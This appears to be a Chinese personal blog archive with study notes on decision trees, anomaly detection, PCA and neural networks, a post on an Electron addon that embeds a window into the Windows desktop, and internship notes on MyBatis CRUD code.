降低错误剪枝 REP / 悲观错误剪枝 PEP / 基于错误剪枝 EBP / 代价 - 复杂度剪枝 CCP / 最小错误剪枝 MEP
预测阶段：
构建完成的决策树可以用来预测未知数据的类别或连续值，只需将新数据沿树的路径向下传递，直到到达叶节点，该叶节点对应的类别或数值即为预测结果。

# ID3

选择划分依据：
对于数据集 D 中的每一个属性 A, 计算其信息增益，并从中选择具有最大信息增益的属性作为当前节点的分割依据。
生成分支节点：
根据所选的最佳属性及其各个可能取值，将数据集划分为多个子集。并为每个子集创建新的分支节点。
生成叶节点：
当不能进一步划分时，以该节点下的实例最多的类别作为叶节点的类别标记。

# C4.5

选择划分依据：
信息增益率偏好可取值较少的属性 (分母越小，整体越大)，因此 C4.5 不是直接选取增益率最大的属性，而是使用一个启发式方法：
先从候选划分属性中找到信息增益高于平均值的属性，再从中选择增益率最高的。
处理连续属性：
（ID3 只能处理离散属性，C4.5 引入了一种将连续属性离散化的方法）
假设 n 个样本的连续属性 A 有 m 个取值。先将其排序，并取相邻两样本值的中位点作为候选划分点（共 m-1 个），分别计算以候选划分点作为二元分类点（属性 A 上大于 / 不大于划分点的样本集合）时的信息增益，选择信息增益最大的点作为连续属性 A 的二元离散分类点
缺失值处理：
（核心思想：降低缺失值所在样本的权重）
1. 如何计算信息增益率？
  无视缺失值，先计算剩余样本的信息增益，然后乘以无缺失值样本所占比例。
2. 如果选择包含缺失值的属性作为节点，缺失值所在样本应该如何划分到子分支？
  缺失值所在样本按照无缺失值样本在每个子分支中所占的比例，划分到所有分支中。

# CART

既能处理分类问题，也能处理回归问题
选择划分依据：
划分依据为某个属性是否等于某个取值。
计算每个属性每种取值条件下的基尼不纯度 $Gini(D_a)$ ，其中 $D_a$ 表示数据集中属性 $A$ 取值 $a$ 下的数据子集，
选取基尼不纯度最小的取值作为节点的划分依据。
CART 生成的决策树是二叉树，每个非叶子节点有且仅有两个子节点。
对于数据集 $D$ ，个数为 $|D|$ ，根据属性 $A$ 是否取某一可能值 $a$ ，把数据集 $D$ 分成两部分 $D_1$ 和 $D_2$ ，分别表示取 / 不取 $a$ 。

# 异常检测

（Anomaly Detection）

根据输入的数据，对不符合预期模式的数据进行识别。

异常检测 => 寻找异常点 => 寻找概率密度值较小的点

概率密度：

用于表示连续型随机变量的概率分布
概率密度函数 $p(x)$ 是一个描述随机变量在某个确定的取值点 $x$ 附近的可能性的函数
区间 $(x_1,x_2)$ 的概率为 $P(x_1,x_2)=\int_{x_1}^{x_2}p(x)dx$
从 $-\infty$ 到 $+\infty$ 的概率密度函数的积分是 1。

高斯分布

高斯分布的概率密度函数是：

$p(x)=\frac1{\sigma\sqrt{2\pi}}e^{-\frac{(x-\mu)^2}{2\sigma^2}}$

其中， $\mu$ 为数据均值， $\sigma$ 为标准差（大 / 小 => 数据分布离散 / 集中）：

$\mu=\frac{1}{m}\sum_{i=1}^{m}x^{(i)}$ ； $\sigma^2=\frac{1}{m}\sum_{i=1}^{m}(x^{(i)}-\mu)^2$

基于高斯分布实现异常检测

数据是一维的情况：（简单理解）
有一维数据：

$\begin{Bmatrix}x_1,x_2,\dots,x_m\end{Bmatrix}$

共 $m$ 个数据样本

计算数据的均值 $\mu$ ，标准差 $\sigma$
计算对应的高斯分布概率密度函数 $p(x)$
根据数据的概率密度值，进行判断：
如果 $p(x_i)<\varepsilon$ ：则 $x_i$ 为异常点

数据是高维的情况：
有高维数据：

$\begin{Bmatrix}x_1^{(1)},x_1^{(2)},\dots, x_1^{(m)}\\\dots\\x_n^{(1)},x_n^{(2)},\dots,x_n^{(m)}\end{Bmatrix}$

共 $n$ 维，每维有 $m$ 个数据样本。

计算每个维度的数据均值 $\mu_1,\mu_2,...,\mu_n$ ，标准差 $\sigma_1,\sigma_2,...,\sigma_n$

$\begin{aligned} \mu_j&=\frac{1}{m}\sum_{i=1}^mx_j^{(i)}\\ \sigma_{j}^{2}&=\frac{1}{m}\sum_{i=1}^{m}(x_{j}^{(i)}-\mu_{j})^{2} \end{aligned}$
计算概率密度函数 $p(x)$ ：
分别计算每个维度下的高斯分布概率密度函数，然后将结果相乘

$p(x)=\prod_{j=1}^np(x_j)=\prod_{j=1}^n\frac1{\sigma_j\sqrt{2\pi}}e^{-\frac{(x_j-\mu_j)^2}{2\sigma_j^2}}$
判断 $p(x_i)<\varepsilon$ ？

# 主成分分析

（PCA） => 降维 => 高维向低维做投影

目标：投影后，不同类别的数据之间 关联度 尽可能小
=> 数据的方差最大（因为方差越大，数据越分散）

计算过程：

原始数据预处理：
（标准化： $\mu=0,\sigma=1$ ）
计算协方差矩阵的特征向量、及数据在各特征向量投影后的方差
根据需求（任务指定或方差比例）确定降维维度 k
选取 k 维特征向量，计算数据在其形成空间的投影

# 模型优化检查

这部分整理自原来的《机器学习模型的优化》，先记下检查数据、模型和参数的几个方向，具体取舍还要看实验结果。

# 数据

数据的质量决定模型表现的上限

检查：

数据属性的意义，是否为无关数据 =>
删除不必要的属性 => 减少过拟合、节约运算时间
不同属性数据的数量级差异性如何 =>
数据预处理：归一化、标准化 => 平衡数据影响，加快训练收敛
是否有异常数据 =>
是否保留或过滤掉异常数据 => 提高鲁棒性
数据样本数量是否足够 => 扩大数据样本
采集数据的方法是否合理，采集到的数据是否有代表性
对于标签结果，要确保标签判定规则的一致性（统一标准）

# 不同的模型

尝试不同的模型，对比模型表现 => 帮助确定更合适的模型

# 核心参数

遍历核心参数组合，评估模型表现

把 Electron 窗口嵌入桌面

Sun, 19 May 2024 19:30:03 +0800

做桌面一言时，我希望能把一言窗口直接放在 Windows 桌面上。为此写了插件 electron-addtodesktop，把桌面窗口操作封装成 attach 和 detach 两个接口，在 Electron 主进程中调用。

这个扩展由 JavaScript 和 C++ 两部分组成。下面从窗口句柄的传递开始，整理桌面嵌入的实现，以及把原生扩展做成 npm 包时需要处理的内容。

# 想实现的效果

桌面一言的主窗口没有边框，背景透明，也不显示在任务栏里。但这些配置只决定窗口的外观，还需要处理它与 Windows 桌面之间的关系。

attach(win) 做的就是这一步：找到桌面对应的窗口，再将 Electron 窗口设置为它的子窗口。需要解除挂接时，调用 detach(win) 。

这个实现选择的层级会遮挡桌面图标，同时保留窗口的鼠标交互。
如果只是想把内容作为壁纸放在图标后面，就不能直接照搬这个层级。但如果选择壁纸的层级，就做不到与窗口的交互了。

# 从 JavaScript 传入窗口句柄

项目的主要文件不多：

	index.js JavaScript 入口
	lib/addtoDesktop.cpp Windows 窗口操作
	binding.gyp 原生模块编译配置
	package.json 包信息、依赖和安装脚本
	test/index.js Electron 调用示例

调用者传入的是 Electron 的 BrowserWindow ，C++ 需要的则是 Windows 窗口句柄。因此 JavaScript 入口先取得句柄，再交给原生模块。

下面是 index.js 中的 attach ：

	const bindings = require("bindings")("electron-addtoDesktop");

	const attach = (win) => {
	if (win === undefined) {
	throw Error("You need to pass a window");
	}
	if (typeof win.getNativeWindowHandle !== "function") {
	throw Error("You need to pass a window of type Electron.BrowserWindow");
	}
	bindings.attach(win.getNativeWindowHandle());
	};

getNativeWindowHandle() 返回一个 Buffer ，在 Windows 中对应 HWND 。这里不能把它当成普通编号随意转换为 JavaScript 数字，而是将它直接传到 C++，按对应平台的原生句柄读取。

C++ 使用 node-addon-api 接收参数：

	Napi::Buffer<void > wndHandle = info[0].As<Napi::Buffer<void >>();
	HWND win = static_cast<HWND>(
	reinterpret_cast<void *>(wndHandle.Data())
	);

这样就取得了后续 Windows API 需要的 HWND 。数据传递的顺序是：

BrowserWindow → getNativeWindowHandle() → Buffer → HWND

detach 也使用同样的传递方式，只是交给原生模块的另一个函数。

# 找到桌面窗口

取得句柄后，接下来需要确定把窗口放在哪里。

这里会用到三个 Windows 外壳中的窗口类名。窗口不一定带有标题栏，也可以作为其他窗口或控件的容器：

Progman ：Program Manager 窗口的类名，是这段代码查找桌面结构的入口。代码先找到它，再寻找合适的挂接位置。
WorkerW ：外壳使用的一类工作窗口，可以承担桌面内容的承载工作。同名窗口可能有多个，因此不能找到一个就直接使用。
SHELLDLL_DefView ：外壳的文件夹视图窗口类名。在桌面场景中，它承载桌面图标所在的视图。这里用它判断某个 WorkerW 是否包含桌面图标层。

这里代码寻找的是包含图标视图的 WorkerW ，再把自己的窗口挂到它下面。不同 Windows 版本的桌面窗口层级可能变化，下面按这个项目的实现说明。

代码先寻找 Progman 窗口，再通过 EnumWindows 枚举顶层窗口，查找类名为 WorkerW 、并包含 SHELLDLL_DefView 子窗口的对象，把它作为挂接目标。如果没有找到符合条件的 WorkerW ，目标仍保留为前面取得的 Progman 。

找到目标 WorkerW 时，挂接后的桌面结构是这样的：

	WorkerW
	├─ Electron 窗口
	└─ SHELLDLL_DefView
	Progman

找到目标后，核心调用只有一行：

SetParent(win, insert_hWnd);

解除挂接时，将 SetParent 的第二个参数设为 NULL ，让桌面窗口成为新的父窗口：

SetParent(win, NULL);

因此，这里的 detach 只是让窗口脱离前面选中的 WorkerW 或 Progman 。它没有保存并恢复挂接前的全部窗口状态，也不会替应用处理后续布局。

最后，将 C++ 函数导出给 JavaScript：

	Napi::Object Init(Napi::Env env, Napi::Object exports)
	{
	exports.Set("attach", Napi::Function::New(env, Attach));
	exports.Set("detach", Napi::Function::New(env, Detach));
	return exports;
	}

	NODE_API_MODULE(addtoDesktop, Init)

这样，JavaScript 中的 bindings.attach() 和 bindings.detach() 就分别对应了原生模块里的两个函数。

# 编译和调用

# 编译配置

binding.gyp 指定了编译目标、源文件和 node-addon-api 的依赖，主要部分如下：

	{
	"targets": [{
	"target_name": "electron-addtoDesktop",
	"sources": ["lib/addtoDesktop.cpp"],
	"include_dirs": [
	"<!@(node -p \"require('node-addon-api').include\")"
	],
	"dependencies": [
	"<!(node -p \"require('node-addon-api').gyp\")"
	],
	"defines": ["NAPI_DISABLE_CPP_EXCEPTIONS"]
	}]
	}

这是主要字段的摘录，完整配置以仓库文件为准。这里的目标名称是 electron-addtoDesktop ，需要与 bindings 加载的名称对应；npm 安装时使用的包名则是全小写的 electron-addtodesktop 。

package.json 中配置了安装脚本：

	{
	"main": "index.js",
	"scripts": {
	"install": "node-gyp configure rebuild"
	}
	}

因此，这个包需要在安装环境中编译 C++ 源码，不是只下载一段 JavaScript。它直接使用 Windows API，下面的编译和调用按 Windows 环境准备。根据 node-gyp 的安装说明，需要 Python 和 Visual C++ 构建工具。

Electron 的原生模块还需要注意目标版本和架构。出现加载或构建不匹配时，可以参照 Electron 的原生模块说明，使用 @electron/rebuild 针对项目的 Electron 环境重新构建。

# 在 Electron 中调用

在 Electron 项目中安装：

npm install electron-addtodesktop

下面整理了一个最小调用示例。等 Electron 就绪、创建窗口后，再传给 attach ：

	const { app, BrowserWindow } = require("electron");
	const { attach, detach } = require("electron-addtodesktop");

	let win;

	app.whenReady().then(() => {
	win = new BrowserWindow({
	width: 350,
	height: 200,
	frame: false,
	transparent: true,
	skipTaskbar: true
	});

	win.loadFile("index.html");
	attach(win);
	});

index.html 换成自己的页面。无边框、透明背景和隐藏任务栏入口由 Electron 配置，扩展负责的是窗口挂接，两部分要分别处理。

需要解除挂接时，在窗口仍有效的情况下调用：

detach(win);

# npm 扩展编写要点

窗口功能之外，还要让其他项目能正确安装和调用这个包。这里主要有几件事。

# 入口和接口保持简单

package.json 的 main 指向 index.js ，由它加载原生模块并导出 attach 、 detach 。调用者只需要传入 Electron 窗口，不必自己处理 Buffer 、 HWND 或原生文件的位置。

参数检查也应该放在边界上。现有 JavaScript 代码检查了参数是否为 undefined ，以及是否提供 getNativeWindowHandle 方法，但这还不是完整校验。例如 null 、已经销毁的窗口，以及直接进入 C++ 接口的错误参数，都需要分别处理。

现有 C++ 在调用 SetParent 后直接返回 true ，如果继续维护此插件，可以补上上述的检查，并让 Windows API 失败时返回明确的错误。

# 区分使用依赖和开发依赖

仓库将 bindings 、 node-addon-api 放在 dependencies 中，Electron 放在 devDependencies 中。

前两者分别参与原生模块的加载和编译。Electron 用于这个仓库里的开发示例，实际应用则由调用方自己的 Electron 项目提供。不能因为某个依赖只在安装阶段使用，就直接认为它只属于开发环境。

# 检查实际发布的文件

这个包需要在安装时编译，因此不能只发布 index.js 。 binding.gyp 、C++ 源文件，以及编译依赖的其他文件也必须进入包里。

可以先用 npm pack --dry-run 检查将被打入包中的文件：

npm pack --dry-run

确认后运行 npm pack ，再在独立的最小 Electron 项目中通过 npm install 路径/包名.tgz 安装生成的包。这样可以发现 “仓库里能运行，但发布包缺了文件” 的问题，也能避免把临时文件和本地构建产物一起带进去。

需要限制发布内容时，可以在 package.json 中设置 files 白名单，列出入口、 binding.gyp 和源文件目录。README 和许可证也应随包提供。

# 使用限制

这个扩展使用 Windows API，不支持 macOS 和 Linux。桌面层级依赖 Windows 外壳的窗口结构，不适合把一个环境里的表现直接推广到所有系统版本。

它也没有实现完整的桌面生命周期管理。桌面外壳重启后的重新挂接、挂接失败后的恢复，还需要应用另行处理。

如果要继续用于实际应用，应先在目标环境中检查桌面图标、鼠标交互和窗口切换的表现，再决定是否沿用这种挂接方式。

神经网络基础

Sun, 21 Apr 2024 03:08:58 +0800

# 神经网络基本原理

解决的问题：特征提取（哪些特征比较合适）
应用：检测、识别

# 前向传播

前向传播：得出损失值

（其中 $x$ 为输入数据， $W$ 为权重参数， $L$ 为损失值)

# 得分函数

线性函数：从输入 -> 输出的映射
其结果表示输入数据对于每个分类的得分。

数学表示：
$f(x, W)=Wx\ (+b)$
其中 $x$ 为图像， $W$ 为权重参数， $b$ 为偏置参数。
通常 $W$ 对结果起决定作用， $b$ 对结果起微调作用；

假设图片为 $[32\times32\times3]$ ，共有 10 个分类，
则 $x$ 为 $3072\times1$ , $W$ 为 $10\times3072$ , $b$ 为 $10\times1$ , 最终结果为 $10\times1$ ；
表示该图像分别对这 10 个分类的得分。

深度学习其实就是在寻找最优的 $W$

# 损失函数

衡量 分类的结果 和 真实情况 之间的差距。

损失函数 = 数据损失 + 正则化惩罚项

数据损失 (Data Loss)：数据造成的损失

例如 $L_{i}=\sum_{j\neq y_{i}}\max(0,s_{j}-s_{y_{i}}+1)$ ，
其中 $y_i$ 表示真实的分类结果

则 $L_1=\max(0,5.1-3.2+1)+\max(0,-1.7-3.2+1)=2.9$
$L_2=\max(0,1.3-4.9+1)+\max(0,2-4.9+1)=0$
$L_3=\max(0,2.2+3.1+1)+\max(0,2.5+3.1+1)=10.9$

正则化惩罚项：权重参数 $W$ 造成的损失（与数据无关）
$\lambda R(W)=\lambda \sum_k\sum_l W_{k,l}^2$ ，
其中 $\lambda$ 为惩罚系数，越大表示越不希望发生过拟合

Softmax 分类器

（分类问题，因为要的是概率值）

由 得分值 获得 概率值，再将其转化为 损失值

放大得分值之间的差异：( $e^x$ )
归一化： ( ${P(Y=k|X=x_{i})=\frac{e^{s_{k}}}{\sum_{j}e^{s_{j}}}}$ ， $s=f(x_i,W)$ )
计算损失值： ( ${L_i=-\log P(Y=y_i|X=x_i)}$ )

# 反向传播

反向传播：优化模型（找到使 损失值 最小的 $W$ ）

梯度下降算法：判断损失值是否达到最小，否则进行优化： $W=W+\text{梯度反方向}\times\text{某一固定值} \alpha$

反向传播遵循链式法则：梯度是从后往前、逐层传播的

沿着输出层的输出结果的计算顺序的倒序进行反向传播
=> 比如 $[(x\cdot W_1)\cdot W_2]\cdot W_3$ ，则反向传播时先计算 $W_3$ 的梯度。

整个过程可以划分出多个门单元：

正向传播中，下一门单元的输入数据为上一个门单元的输出数据

反向传播从最后一个门单元开始， $\text{当前门单元的梯度} = \text{当前门单元的梯度计算值} \times \text{后面门单元传递来的梯度}$

如下图，红框中的部分就是一个门单元；
箭头上方的绿色部分为前向传播的内容，表示当前门单元的输出（也是下一个门单元的输入）；
箭头下方的红色部分为反向传播的内容，表示上一个门单元计算得到的梯度。

门单元：（一种操作）

加法门单元：
对于 $x+y=q$ ，因为 $q$ 对 $x$ 和 $y$ 求偏导的值都是 1，所以 $x$ 和 $y$ 向后传播的梯度不变。
(后面传来的梯度会均匀地分给 $x$ 和 $y$ )

乘法门单元：
对于 $x\times y=q$ ，因为 $q$ 对 $x$ 求偏导为 $y$ ，对 $y$ 求偏导为 $x$ ，所以 $x\text{向后传播的梯度}=\text{后面传来的梯度}\times y$
(互换)

MAX 门单元：
后面传来的梯度只会传递给输入值 最大的 那一项，其余小的项的梯度均为 0。

# 整体架构

层次结构：神经网络是分层的。每一层在前一层的基础上 对数据进行变换。

神经元：数据的特征数量。比如输入层有 3 个神经元，其实表示输入数据为 $[n,3]$ 的矩阵，即存在 3 个特征。
（隐藏层 1 中有 4 个特征，隐藏层 2 同理）

全连接：对于中间的每一层的神经元，都与前一层每个神经元连接起来。
（连接：权重参数矩阵，如上图 $W_1$ 为 $[3,4]$ ， $W_2\text{为}[4,4]$ ， $W_3\text{为}[4,1]$ ）

非线性：与进入下一层之前，要先将数据带入一个非线性函数（激活函数）。
（并不是直接进行矩阵乘法得到下一层）

神经元个数越多，得到的拟合程度越大，在训练集上得到的效果越好，但运行速度也越慢，过拟合风险也越大

# 激活函数

在进入下一层之前，需要将结果带入 激活函数（activation function）

常用的激活函数：

Sigmoid

存在问题：（因此不怎么使用)
- 梯度消失：因为某一步操作导致梯度为 0
  （因为梯度下降算法是乘法操作，如果某一步梯度为 0，则后续都不会进行更新）。
  Sigmoid 函数最左和最右侧的点，梯度约等于 0。
Relu

最常用的激活函数
Tanh
...

# 数据预处理

中心化（获得 zero-centered data） => 每个数据减去均值
维度放缩（获得 normalized data） => 每个数据除以标准差

# 参数初始化

（初始化权重参数矩阵）

通常使用 随机策略 进行参数初始化： $W=0.01 \times np.random.randn(D,H)$

乘以 0.01 的原因：
我们希望 $W$ 中的数据 浮动较小（浮动较大的模型更容易导致过拟合）

# 过拟合解决方法

正则化惩罚项（损失函数中加入 $\lambda R(W)$ 项）
DROP-OUT（七伤拳）
...

DROP-OUT：
在 每一次 的神经网络的训练过程中，对每一层都随机地杀死一些神经元
（每次不使用的神经元都是随机的）

多层感知器

Sun, 18 Feb 2024 00:37:41 +0800

# 多层感知器

（MLP, Multi Layer Perceptron）

模仿人的思考机制 => （网状结构）

树突接受多个神经元的轴突释放的递质，产生信息并将信息转递给轴突，并由轴突再次向后续神经元释放递质，实现信息传递。

从多个上一层的模型中获得输入数据，通过某个 $f(x)$ 得到输出数据，并作为下一层模型的数据输入。

MLP 数学表达式（简化）：

$a_{1}^{2} =g(\theta_{10}^{1}x_{0}+\theta_{11}^{1}x_{1}+\theta_{12}^{1}x_{2}+\theta_{13}^{1}x_{3})$

$a_{2}^{2} =g(\theta_{20}^{1}x_{0}+\theta_{21}^{1}x_{1}+\theta_{22}^{1}x_{2}+\theta_{23}^{1}x_{3})$

$a_{3}^{2} =g(\theta_{30}^{1}x_{0}+\theta_{31}^{1}x_{1}+\theta_{32}^{1}x_{2}+\theta_{33}^{1}x_{3})$

$y=g(\theta_{10}^2a_0^2+\theta_{11}^2a_1^2+\theta_{12}^2a_2^2+\theta_3^2a_3^2)$

如上图， $x_i$ 为输入层， $a_i^2$ 为隐藏层， $y$ 为输出层， $\theta^j$ 为权值系数；

共有 4 个模型，组合为最终的 MLP 模型

实际中，输出层也可以有多个输出结果。

实习半月记录

Wed, 06 Dec 2023 11:05:53 +0800

在杭州某公司 springboot 后端开发岗干了半个月，发现了很多不足，以及一些值得记录的地方。

我在入职的时候，其实在 springboot 方面是算是个小白，只懂一点基础知识，甚至 mybatis 框架都没有上手用过...

先是尝试自己照着模板写，然后看同事的代码修改，现在勉强算是熟练掌握基本的增删改查的接口编写了。

但是，我总是能发现一些新的写法，更加方便更加灵活，但应该对应不同的应用场景，也应该相互结合使用。

# 最开始

最开始，我学会使用 Mybatis 写增删改查，

在 .xml 文件中写 sql 语句：

	<select id="function_name" resultType="java.util.Map">
	select * from table_name
	</select>

或者直接在 DAO 层在函数名上方用 @... 注解：

	@Select("select * from table_name")
	// or
	@Insert("insert into table_name (id, field_name) values (#{id}, #{function_variable_name})")

# 然后

然后，我知道了 MyBatis-Plus ，

可以继承通用 Service 层 IService 和通用 Mapper 层 BaseMapper ，它们集成了相当一部分可用的增删改查函数，直接调用就行，不用写 sql 语句：

	public interface ServiceName extends IService<EntityName> {}
	public class ServiceImplName extends ServiceImpl<DaoName, EntityName>
	implements ServiceName {}
	// and
	@Mapper
	public interface DaoName extends BaseMapper<EntityName> {}

当然，查询中还是要用 QueryWrapper 构建查询语句的：

	QueryWrapper<EntityName> queryWrapper = new QueryWrapper<>();
	queryWrapper.eq(String column, Object val);

# 现在

现在，我知道可以将二者结合使用。

业务逻辑极其简单的时候（比如只需要对多个表查询数据），直接用 xml 或者注解写。

需要实现增删改查的时候，继承 MyBatis-Plus 的通用类。

如果有其他需要实现的函数，在通用类的基础上增加：

在 Service 层增加对应的函数
涉及到与数据库的交互时，在 Dao 层增加函数

除此之外，还学了些零碎的东西：

常量、公共函数，在 Common... 的函数里面写好，然后在用到的时候调用
utils 下的函数要仔细看看，里面肯定有开发中要用到的工具包。

比如：接口的返回值类型 Result ，文件上传工具类 FileUpload ，分页工具类 PageUtils ，获取 UserId 的 UserInfoUtil ...

名字可能有所差别，但功能类似，也不用我们自己实现。
...

之后，继续学习吧，希望有一天能写出干净简洁的代码。